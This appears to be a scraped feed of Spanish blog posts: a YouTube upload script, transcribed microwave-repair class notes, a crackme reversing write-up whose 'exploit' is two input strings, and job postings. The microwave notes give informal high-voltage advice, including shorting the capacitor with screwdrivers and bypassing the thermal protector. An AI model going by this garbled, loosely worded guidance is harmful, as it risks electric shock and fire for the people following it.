</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># yt-dlp --ignore-config --write-subs --write-auto-sub</span>
</span></span><span style="display:flex;"><span>--sub-lang en --sub-format <span style="color:#e6db74">"srt"</span> --skip-download https://www.youtube.com/watch?v<span style="color:#f92672">=</span>ID
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># sed -E '/^[0-9]+$|^$/d; /^[0-9]{2}:/d' video.en.srt > subtitles.txt</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $# -lt <span style="color:#ae81ff">3</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Uso: </span>$0<span style="color:#e6db74"> <titulo> <desc> <path video.mp4>"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>source $HOME/youtube-upload/bin/activate
</span></span><span style="display:flex;"><span>$HOME/youtube-upload/youtube-upload/bin/youtube-upload <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --title<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --description<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --recording-date<span style="color:#f92672">=</span><span style="color:#e6db74">"2011-03-10T15:32:17.0Z"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --privacy<span style="color:#f92672">=</span><span style="color:#e6db74">"unlisted"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --embeddable<span style="color:#f92672">=</span>True <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> $3
</span></span></code></pre></div>
-
[AUDIO][APUNTE] Taller reparacion de electrodometicos (Clase 13) - Diagnóstico Microondas. Etapa potencia. Etapa control. Protección snubber. Formas de descargar capacitor. Filamento. El presostato lo hace automático. Fusible trabaja con amper. Tipos de fusible. Llave termomagnética. Tester debe estar en serie. Por qué salta térmica. Switch de puerta: prende luz cuando cerrás indica que funciona mal el switch pero el ventilador funciona. Conexión transformador, capacitor, diodo y magnetrón. Fuente switch primero rectifica y oscila luego transformador. Juntar máxima cantidad de información posible, lo más difícil es el diagnóstico. Es importante saber donde está el final de una etapa y donde está el principio de la otra etapa en un microonda. En la etapa de potencia lo primero que encontramos es el transformador. Cable grueso es de 3 voltios. 500 voltios, 750 voltios, y otros hasta 1000 voltios. La más delgada es la parte secundaria. Como medir si un transformador está bueno, poné un transformador sin fuente rectificadora de 5 voltios a la entrada y medí 10 veces mas a la salida (100 voltios). Necesitamos un capacitor y un diodo colocado de forma inversa para obtener los 4000 voltios. En todos los diodos el ánodo está a tierra, pero en el diodo del microondas está yendo el cátodo a tierra. Acá se carga a 2000 voltios o sea que los 2000 voltios que carga más la onda que está rectificando el diodo que es 2000 voltios, 2000+2000 hacen los 4000 que necesita el magnetrón. Vamos a suponer que este es un capacitor de 0,90 microfaradios dirá que es de 2000 voltios y traerá y en paralelo a este capacitor traerá una resistencia que será de 10 megohm (10 millones de ohmios) si el tester no llega a una escala de 20 15 megohm, no medirá. Mi tester llega a 200 mil nada más. Si medís te dice OL (quiere decir que no mide nada). Pusieron esta resistencia como medida de seguridad porque se deja de usar el microondas que esta resistencia ponga en corto los dos polos y consuma toda la energía, adónde manda esa energía que consume? En las puntas habrá 2000 voltios, sin embargo cuando yo vengo a medir ya no hay nada. Pero no nos podemos confiar en eso. Tenemos que descargar el capacitor: La lamparita no va a aguantar los 2000 voltios. 2 destornilladores, colocar 1 en esta terminal y el otro acá en forma de cruz. Otros técnicos aconsejan a dejar uno de los fasto ahi y empezar a tocar la chapa como está el diodo puesto a tierra que descargue el magnetrón, lo importante es descargar, también se puede usar con pinzas. Muchas veces cuando el transformador no funcione, tenemos que ver si por la humedad del el óxido metal puro del cobre está sucio si quedó un poco de plomo chispea hasta que corta . Los MO tienen una resistencia es una seguridad para descargar el capacitor, pero no te podes confiar de eso. Lo primero que encontramos en la etapa de potencia es el transformador, lo otro es capcaitor, lo otro es un diodo. IMPORTANTE: Nosotros deberíamos encontrar 4 puntas de cables, pero vamos a encontrar 3: bastante gruesita, muy gruesa, y nada más. Las borneras se usan para que la instalación sea más fácil. Siempre tiene que ser el opuesto al común. A los extremos del capacitor voy a tener fase y neutro, pero de un lado voy a tener a través de la carga, de un lado voy a tener de forma directa. Agarro un capacitor y pongo un rato y sacó, ahora lo cargué y lo voy a medir a ver si carga o no carga... ¿En que escala voy a medir? En voltaje en corriente continua. Todos los capacitores se cargan en corriente pico. Si el capacitor está bien me tiene que medir 311 voltios. O sea que el tester a mi me dijo que yo tengo 3 voltios pero el tester me mide el valor eficaz la valor media cuadratica yo quiero saber el valor pico acá, no se me cargó los 3 voltios de la raiz media cuadrática, es 3 por la raiz de 2: 4,24 voltios es el valor pico. Entonces a mi acá se me tiene que cargar con 4,24 voltios de corriente alterna. Me tiene que marcar pero antes de medir tengo que saber la escala para poder medir de corriente continua. Acá hay una trampa porque 425 es el valor pico de esta corriente alterna que me está dando 3 voltios pero cuando yo terminé de cargar y voy a medir acá me va a dar voltaje de corriente directa, porque yo tengo 2000 acá yo tengo cargada sin oscilar, de alterna paso a continua. Es una pila, sólo que el capacitor dura un tiempo corto, solo que el tiempo que dura en cargar dura en descargarse. El capacitor llegamos a 4000 voltios porque este diodos está rectificando la media onda. Entonces esa media onda suma por eso llega a 4000 voltios. Los 3 voltios sirven para que se encienda el filamento. El filamento va dentro de un tubo al vacío porque acá fuera no dura nada. Los 3 voltios sirven para que se encienda el filamento y para que querés tener en eso en un lugaren donde no querés iluminar como un foquito de 100 watts porque la finalidad es generar electrones, cuando esto está incandencente esto empieza a salir una nube de electrones. Los ingenieros tomaron en esta patitas los 3 voltios para que funcione el filamento, acá dentro hay unas bobinas no importa no vamos a hablar de eso. Esto está todo dentro de un recipiente totalmente al vacío, o sea que esto está en rojo está recibiendo electrones y acá estaría la antena. Imanes sirven para centrar a los electrones locos. El magnetrón estará puesto a tierra, ahí cierra el circuito de esta bobina. El magnetrón desde la otra patita ahí cierra el circuito, no cierra el circuito en el filamento, sólo el circuito de 3 cierra en el filamento. En el fogonero del magnetrón figura el ingreso de los 4000 voltios con la puesta a tierra ahí cierra el circuito. O sea que los 4000 voltios nunca pasan por el filamento en los circuitos de la electrónica se trabaja así se usa un mismo conductor pero se cierra para el otro lado. El filamento nunca toca los 4000 voltios, no tiene cierre de circuito. Hacia un mismo punto hay 2 circuitos en paralelo. El cable que viene del transformador de la alta el no se junta con la alta. (Hora 1:16) El cable de alta que viene desde transformador tenga o no fusible siempre va en una bornera solo, el otro extremo yo si puedo hacer todo lo que quiera: tengo una conexión al diodo. Conectamos primero la parte de alta, no le podemos errar nunca. Hay veces que la conexión del capacitor viene directamente al magnetrón y el diodo también acá en el punto común, tenemos 3 cables conectados y es exactamente el mismo que el anterior, porque hago todas las conexiones en ese borner y da lo mismo. La salida de la alta al capacitor va solo, todo lo otro que se una donde quieran, siempre tiene que ir unido el cátodo del diodo, el ánodo del diodo, una punta del condensador y 1 de las alimentaciones que trabajan juntos tienen que ir 3 puntas siempre. El que viene de la alta siempre está sólo Podés poner en cualquier bornera pero el de alta siempre tiene que estar solo. La etapa de potencia empieza en el transformador y termina en el magnetrón. Para saber como andaba la parte primaria agarré una lámpara y conecté acá cuando puse a andar esto encendió bien, quiere decir que la parte de control estaba bien. Etapas del transformador. En las etapa primaria tenemos una de las bobinas porque no tenemos para 110 y en la parte secundaria sí tenemos 2 porque tenemos un voltaje muy alto y bajo. Son bobinas con principio y final cada una. En la plancha automática lo único que hay de automático es el termostato. La heladera automática es automática porque corta por termostato. Lavarropas automático porque hace el llenado de agua, la única parte automática es el presostato carga el agua necesaria de forma automática. En los lavarropas timer mecánico podíamos hacer lo que queríamos lo único que había que hacer es no volver hacia atrás. La cocina a gas no se enchufa, a no ser que tenga encendido eléctrico. Toda placa electrónica tiene fuente, porque no hay chip que pueda trabajar en corriente alterna si o si tiene que estar en corriente continua: necesita 3 voltios, pero hay otros componentes que necesitan 12, 30 voltios para poder disparar relay necesitamos esos voltajes. Los lavarropas queman mucha placa solo por la parte del circuito de standby, cuando no uses tu lavadora desenchufa porque hay una parte que anda permanentemente. Que le sigue al transformador si es lineal un circuito rectificador porque tenemos 4 diodos o tenemos un rectificador con fasto que tiene 4 pines, donde está esta marca de este lado está el positivo quiere decir que el opuesto de él será el negativo, y los otros dos serán el ingreso de la corriente alterna, en lugar de tener los 4 diodos voy a tener esto. Tacómetro. Tengo que medir por la baja adonde está la soldadura si tengo 220, y si tengo los 220 algo más rápido para ir es al capacitor, tengo que cambiar mi rango del tester a más de 311, a 500 volt, a 750 voltios de CA. Si no me da los 311 quiere decir que el problema está en los diodos. Como se mide un diodo con un tester? Tenés que poner el tester en el símbolo del diodo. Hay tester que miden por separado la continuidad y por otro lado el diodo, la mayoría de los tester en ese mismo rango mide todo. Tanto para la continuidad como para los diodos se necesita una alimentación en voltaje. La corriente positiva va desde el ánodo hacia el cátodo Si es una placa switching no van a tener un transformador y el puente rectificador, vamos a tener el puente rectificador, el oscilador y después el transformador. Acá estará la fuente de alterna va directamente al puente rectificador, acá está el puente rectificador acá recién está el transformador, entonces cuando llega acá está llegando una corriente positiva al transformador, esto que está acá es el oscilador que está controlado por este empieza a oscilar su aterrizaje a tierra porque la parte está directa la parte de corriente continua positiva, le está haciendo aterrizar a la parte negativa. Protección snubber sirve para proteger porque las primeras fuente switching tenía el mosfet afuera (transistor de 3 patitas). El integrado es el oscilador. Lo que se suele cagar de las lavadoras son los TRIACS también tienen 3 patitas. Los que están en las placas son de montaje superficial, quiere decir que ya no va más insertado en los agujeritos, van soldados arriba de la placa. Quiere decir que por acá voy a meter los 220 para que funcione la bomba de agua, por acá saldrá la corriente que va a ir a la bomba de agua. Y por esta parte es donde el chip ordenará que la boma que la bomba de agua cargue el agua... El TRIAC le tiene que mandar una continuidad entre el primero y el último. Nunca con el segundo. Si la bomba que está cargando tomamos el TRIAC y medimos esto. El RELÉ puede disparar ser electrobomba, electroválvula, blocapuertas, la resistencia(para calentar el agua) NO porque tiene que ser disparado por un TRIAC porque consume mucho, el motor también es disparado por relay , hay un TRIAC general pero generalmente trabaja por relay. Todos los switchs tienen platino: normal abierto, normal cerrado. Hay relays que son normalmente abierto, normalmente cerrado, y hay veces que en un mismo relay se tiene uno normalmente cerrado y otro normalmente cerrado. Los switch no son magnéticos son mecánicos La mayoría de los microondas vienen con 3 switchs, pueden venir con más o con 2. En algún lado de estos switch existirá un monociclo que hará que cuando entre los pitilos de la puerta cierre o abra, depende si es abierto va a cerrar, si es normalmente cerrado cuando entra el pitilo va a abrir. El 1er switch NA, el 2do NC, y el 3er NA. Los switch también se descomponen, hay que medir sacando el fasto si cuando toco acá está sonando es porque está cerrado y está malo porque quiere decir que quedó pegado. Si yo pongo mi tester en continuidad y cierro la puerta o bajo palanquita tiene que cerrar y sé que cerró porque suena el pitido del tester. Si no suena quiere decir que ese switch no funciona, puede ser por basura o se voló el platino. Hay que sacar y cambiar es recomendable comprar switchs porque no todos los switchs son iguales. Cambian en el modelito en donde va encastrado y sobre que cosa va encastrado. Cuando comprás carbones también comprá switchs en lo de HUGO. Siempre es recomendable tener. Siempre guardar en una caja que diga microondas. En otra caja que diga horno electrico: resistencia, temporizador. No tener tirado por ahí, porque perdemos plata, por la comodidad. Hay veces que algunos de estos switchs que están acá cumplen doble función, NA y NC. O a lo mejor pones tener los 3 switchs normalmente cerrado y normalmente abierto. Este fusible puede ser de vidrio como puede ser de porcelana. El fusible tiene valor en amperes, hay que medir y colocarlo de acuerdo al amperage con el que va a trabajar, generalmente es de 8 amper. Hay fusibles que no está dado el amper sino por temperatura cortan por temperatura. La diferencia entre los dos es que los de temperatura. Una vez fui a comprar un fusitor y se me hizo canchero el que me quiso vender un fusitor le dije y me dió una resistencia carbón??? Y le dije eso no es eso es carbón, yo quiero una resistencia fusitora. Son resistencias de muy bajo valor de ohmios dados para cortar por la temperatura. Hay dos formas de que un fusible se deteriore y hay un instrumento de seguridad que se llama llave termomagnética. Es termomagnética porque corta por magnetismo y temperatura. Cuando corta por térmico? Cuando el exceso de consumo es prolongado. Vamos a suponer que yo tengo un controlador térmico para 5 amper. Si el sube a 7,8 no va a cortar, necesita más tiempo en 1 segundo no me va a cortar. Y corta por magnetismo cuando hay un cortocircuito. Si conecto un motor y levanto la llave va a arrancar pero en un tiempo prolongado dejará de funcionar. Se puede medir con el tester pero tenés que cortar el cable y ponerlo en serie. Yo tengo conductor para 20 amper y puse una protección de 10 amper, eso es bueno, antes que caliente el conductor ya me está salvando por eso no es conveniente agrandar. Si yo vengo y mido vamos a suponer que esto es una térmica de 10 amper y yo vengo y mido estoy en 6 7 qué paso? Ahí la térmica está soplada. Va calentando porque las resistencias transfieren una energía eléctrica a una energía térmica. O sea esa caída de voltaje se va en la temperatura. Por un exceso de consumo un fusible de 10 amper va a saltar por exceso de consumo cuando acá llega a 20 25 amper ahí recién se va a quemar el fusible. Ahí salta el fusible. Entonces esta fase que tengo acá pasará por 1 fusible y es probable que arriba del magnetrón haya un protector térmico porque si el magnetrón calienta demasiado y el soplador se descompuso voy a fundir el magnetrón. Ese filamento está arriba del magnetrón para que corte cuando calienta demasiado el magnetrón, corta a los 160 grados. Yo puedo obviar este componente puenteandolo, pero corro el riesgo que se me queme el magnetrón. Entonces la corriente que viene desde el enchufe que pasa por el termostato llega al primer switch que es normalmente abierto vamos a encontrar una lamparita: está del lado de afuera pero alumbra hacia dentro. En el microondas por suerte no le podemos errar en el foquito, pero en la heladera le erran feo muchos le ponen una lamparita de 40 watts foco grandote le ponen, porque hay. Esta es una lamparita de 12, 15 watts que va dentro de la heladera. Muchos a esa misma le pusieron esto. Ahora las heladeras actuales ya vienen focos LEDs. En los microondas esas lamparitas son para 15 watts más o menos. Hay algunos de ellos que es desmontable en el zócalo la lamparita y hay otros que vienen todo en un solo núcleo. O sea que yo puedo desenroscar y cambiar solo la lamparita y hay otros que ya vienen con los fastos y los plásticos todo junto. Y si no los encontras que Dios te ayude XD. Por ahí una tontería se te puede complicar porque si es el que viene todo con fasto cuando vos querés traer al taller solo la lamparita vas a tener que dibujar porque donde conseguís para que ese molde calce ahí? ¿Qué parte del transformador es? La bobina primaria, porque yo voy a hablar de la parte de control no voy a hablar de la parte de potencia. En los microondas cuando nosotros ponemos a funcionar el control que hace el sistema mecánico o electrónico es únicamente al transformador, el resto todo trabaja por consecuencia del transforamdor, está todo conectado al secundario del transformador, no es que el conductor controla al magnetrón, sólo el transformador. Cuando ustedes escuchan el ruido uno es el soplador y otro el transformador. Yo sé como anda pero no les voy a decir. Quiere decir que este para que funcione tiene que estar cerrado. Quiere decir que cuando ese cierra está alimentando al 2do switch, mientras no esté cerrada la puerta el 2do circuito switch no tiene energía. Depende de lo que tenga el microondas para trabajar va a tener el nro. de relay. El que él trajo tenía resistencia entonces el que el trajo tendrá 1 relé más para poder disparar la resistencia. Por lo que veo este microonda no tiene la resistencia que suelen traer. Acá también vamos a tener otro relay estos pines que están acá serán por donde entra y sale la energía del lado de la parte de abajo de la placa tendrá 2 pines más para que? Del lado de abajo irá la conexión que el procesador va a disparar cuando tenga que funcionar esto, acá va a estar la bobina y la parte de arriba estará la parte del relay porque hay muchos tipos de relay, platinos que cierran y abren para que hagan ese trabajo, la conexión de abajo que no se ve es la que trabará con la bobina, una vez que la bobina está magnetizada va a cerrar o abrir el switch que está acá. Cuando acá abajo que no se va a ver de este lado está la bobina que va del lado de la placa, ahí estará la conexión con la bobina, pero la parte acá arriba está la conexión del trabajo, o sea acá va a estar 220 pero acá va a salir 220. Acá va a pasar lo mismo, va a estar la bobinita y del lado de abajo estará la conexión para que se dispare la bobina. Algunos relay no tienen porque a veces cargan por acá la fase y desde ahí mandan al primario. Esta fase entró acá cuando cierra la puerta le manda la corriente al del medio pero también le va a mandar la corriente al transformador. Cuando vos cerrás la puerta le va la fase al transformador. Acá aparecerán 2 componentes más: Motor del plato, ventilador que sopla al magnetrón. Cuando anda el transformador comienza a funcionar el magnetrón adentro. Cuando nosotros ponemos a funcionar el transformador, el magnetrón comienza a disparar la corriente necesitamos enfriar el magnetrón. Cuando funciona el magnetrón también tiene que funcionar el ventilador, y si yo tengo alimento adentro también tiene que funcionar el plato que gira, entonces tengo que hacer una conexión en paralelo para que todo funcione a la vez. Yo le dí corriente al switch del medio que es Normalmente Cerrado y ese voy a mandar la corriente al relay. Y de este mismo punto saldrá al otro extremo del transformador. Explicación gráfica rara (Hora 02:52) Cuando yo enchufo la fase viene a la plaqueta, pasa por el fusible, de ahí va al termostato, si se rompe el fusible no anda nada. Si el termostato salta por temperatura tampoco anda nada, estos dos componentes de protección están en serie. Por qué no explota? (ver fotos) Acá tengo la fase y acá tengo el neutro pero uno está abierto y el otro cerrado. Este switch de puerta este es una información que le da a la memoria(procesador) en qué estado está la puerta. Por qué lava? Porque es posible que la placa esté mandando una información y esa información vuelve entonces quiere decir que la placa se entera que la puerta está abierta. Porque la información que ella está mandando no regresa. Si cerramos la puerta la información que yo pongo acá va a salir por acá, y va a llegar a la placa, y la placa dirá que la puerta está cerrada porque me llegó la información. A veces quedan pegado por falla del sistema. Qué pasa si esto queda soldado y yo abro la puerta?? Y la medida de saber lo que pasa es porque la luz prenderá.Cuando vos abrís la puerta la luz sigue prendida pero anda el ventilador, como si paró el transformador. Son las dos cosas que a nosotros nos van a advertir que el problema está en switch de puertas.Cerramos la puerta y que pasa: Enciende la luz. En estado normal cuando yo cierro la puerta la luz se apaga y cuando yo abro la puerta se enciende la luz en estado normal cuando yo cierro la puerta para que funcione el transformador anda el ventilador, pero cuando yo abro y para el transformador funciona el ....
https://imlauera.github.io/post/clase13_electro/
Fri, 27 Sep 2024 03:11:21 -0300
https://imlauera.github.io/post/clase13_electro/
<h4 id="audio-de-la-clase-en-youtube">Audio de la clase en YouTube</h4>
<p><a href="https://youtu.be/mZJgglyIWWs">https://youtu.be/mZJgglyIWWs</a></p>
<h4 id="audio-de-la-clase-en-invidious">Audio de la clase en Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=mZJgglyIWWs">https://redirect.invidious.io/watch?v=mZJgglyIWWs</a></p>
<h4 id="audio-de-la-clase-en-vocaroo">Audio de la clase en Vocaroo</h4>
<p><a href="https://vocaroo.com/1nv0RsRUlv12">https://vocaroo.com/1nv0RsRUlv12</a></p>
<p>Diagnóstico microondas. Etapa potencia comienza a partir del transformador. Bobina alta tensión. Formas de descargar capacitor. Fijarse si no se soltó arriba microondas tornillo a tierra.</p>
<p><strong>La resistencia del capacitor está hecha para descargar el capacitor, pero si se cagó no se descarga por eso es recomendable descargarlo usando dos destornilladores cruzados.</strong> El filamento nunca toca los 3000 voltios. Formas de conectar transformador capacitor diodo y magnetrón. El microondas tiene 3 bobinas: primaria y 2 secundarias. El presostato hace que un electrodoméstico sea “automático”.</p>
-
STRING FACIL reversing
https://imlauera.github.io/post/string_facil_reversing/
Fri, 27 Sep 2024 03:07:18 -0300
https://imlauera.github.io/post/string_facil_reversing/
<p>Ejercicio <code>STRING_FACIL.exe</code> de <a href="https://drive.google.com/file/d/1QRIk3zBGGXH54nSZorX3jnuNmURCHw6K/view?pli=1">https://drive.google.com/file/d/1QRIk3zBGGXH54nSZorX3jnuNmURCHw6K/view?pli=1</a></p>
<h3 id="código-que-me-generó-el-ida">Código que me generó el IDA:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> longitud_segunda_cadena; <span style="color:#75715e">// [esp+0h] [ebp-44h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v5; <span style="color:#75715e">// [esp+4h] [ebp-40h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v6; <span style="color:#75715e">// [esp+8h] [ebp-3Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">signed</span> <span style="color:#66d9ef">int</span> j; <span style="color:#75715e">// [esp+Ch] [ebp-38h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">signed</span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// [esp+10h] [ebp-34h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">signed</span> <span style="color:#66d9ef">int</span> longitud_primer_cadena; <span style="color:#75715e">// [esp+14h] [ebp-30h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Str2[<span style="color:#ae81ff">20</span>]; <span style="color:#75715e">// [esp+18h] [ebp-2Ch] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Str[<span style="color:#ae81ff">20</span>]; <span style="color:#75715e">// [esp+2Ch] [ebp-18h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401090</span>(std<span style="color:#f92672">::</span>cout, <span style="color:#e6db74">"Enter the First String: "</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401070</span>(std<span style="color:#f92672">::</span>cin, Str);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401090</span>(std<span style="color:#f92672">::</span>cout, <span style="color:#e6db74">"Enter the Second String: "</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401070</span>(std<span style="color:#f92672">::</span>cin, Str2);
</span></span><span style="display:flex;"><span> longitud_primer_cadena <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(Str);
</span></span><span style="display:flex;"><span> longitud_segunda_cadena <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(Str2);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Las cadenas NO tienen que ser iguales, pero a su vez la longitud de la primer cadena tiene que ser igual a la longitud de la segunda.
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">strcmp</span>(Str, Str2) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401090</span>(std<span style="color:#f92672">::</span>cout, <span style="color:#e6db74">"NOP"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// O sea que la longitud de la primer cadena tiene que ser mayor o igual 8.
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( longitud_primer_cadena <span style="color:#f92672"><</span> <span style="color:#ae81ff">8</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( longitud_primer_cadena <span style="color:#f92672">==</span> longitud_segunda_cadena )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> longitud_primer_cadena; <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( j <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; j <span style="color:#f92672"><</span> longitud_primer_cadena; <span style="color:#f92672">++</span>j )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( Str[i] <span style="color:#f92672">==</span> Str2[j] )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Cuando escribís esto significa que if ( v6 ) v6 tiene que cualquier número distinto de 0. Cuando escribís if ( !v6 ) esto es verdadero cuando v6 vale 0.
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v6 <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Queremos que v5 sea distinto de 1.
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v5 <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401090</span>(std<span style="color:#f92672">::</span>cout, <span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">FAIL"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401090</span>(std<span style="color:#f92672">::</span>cout, <span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">CORRECT"</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401090</span>(std<span style="color:#f92672">::</span>cout, <span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">FAIL!"</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>ostream<span style="color:#f92672">::</span>operator<span style="color:#f92672"><<</span>(std<span style="color:#f92672">::</span>cout, sub_401640);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="exploit">Exploit:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Enter the first string: <span style="color:#ae81ff">11111111</span>
</span></span><span style="display:flex;"><span>Enter the second string: <span style="color:#ae81ff">00000001</span>
</span></span></code></pre></div>
-
Upwork invited
https://imlauera.github.io/post/upwork_invited/
Thu, 26 Sep 2024 22:43:03 -0300
https://imlauera.github.io/post/upwork_invited/
<p>Outlier helps the world’s most innovative companies improve their AI models by providing human feedback. Are you an experienced software engineer who would like to lend your coding expertise to train AI models in Chilean Spanish?</p>
<p>We partner with organizations to train AI large language models, helping cutting-edge generative AI models write better code. Projects typically include discrete, highly variable problems that involve engaging with these models as they learn to code. There is no requirement for previous AI experience.</p>
-
Lamp server
https://imlauera.github.io/post/lamp_server/
Thu, 26 Sep 2024 12:39:55 -0300
https://imlauera.github.io/post/lamp_server/
<p><a href="https://imlauera.github.io/files/upwork_job_desc_lamp_server_a2.pdf">lamp_server</a></p>
<h4 id="objective">Objective</h4>
<p>Configure Linux server. Genrally speaking, this is a LAMP server.</p>
<h4 id="description">Description</h4>
<ul>
<li>
<p>Provided</p>
<ul>
<li>EC2 server with ssh access on AWS with AWS Linux installed with up to date OS. Server will be x86 64 bit.</li>
<li>Public IP for ssh and www access</li>
<li>A user with ssh access and a key file for ssh</li>
<li>Server firewall will be open</li>
</ul>
</li>
<li>
<p>Domain names: clearlight.one, clearlight.app</p>
</li>
<li>
<p>Install and configure following software:</p>
<ul>
<li>Amazon utilities: amazon-ec2-utils</li>
<li>AWS CLI version 2 version 2.15.17 (current version)</li>
<li>Cron: cronie version 1.5.7 (current version)</li>
<li>Python 3 3.9.16 (current version)</li>
<li>PHP 8.2.9 (current version)</li>
<li>Apache HTTPD version 2.4.58 (current version)</li>
<li>MySQL 8.4.2 LTS community (current version)</li>
<li>Certbot: certbot version 2.6.0 (current version)</li>
<li>Python for certbot: python-certbot-apache</li>
<li>net-tools.x86_64</li>
<li>wget</li>
<li>mod_ssl for httpd</li>
</ul>
</li>
<li>
<p>Configure httpd</p>
-
DevOps Linux Admin VPN location servers mobile app setup AWS and Ubuntu
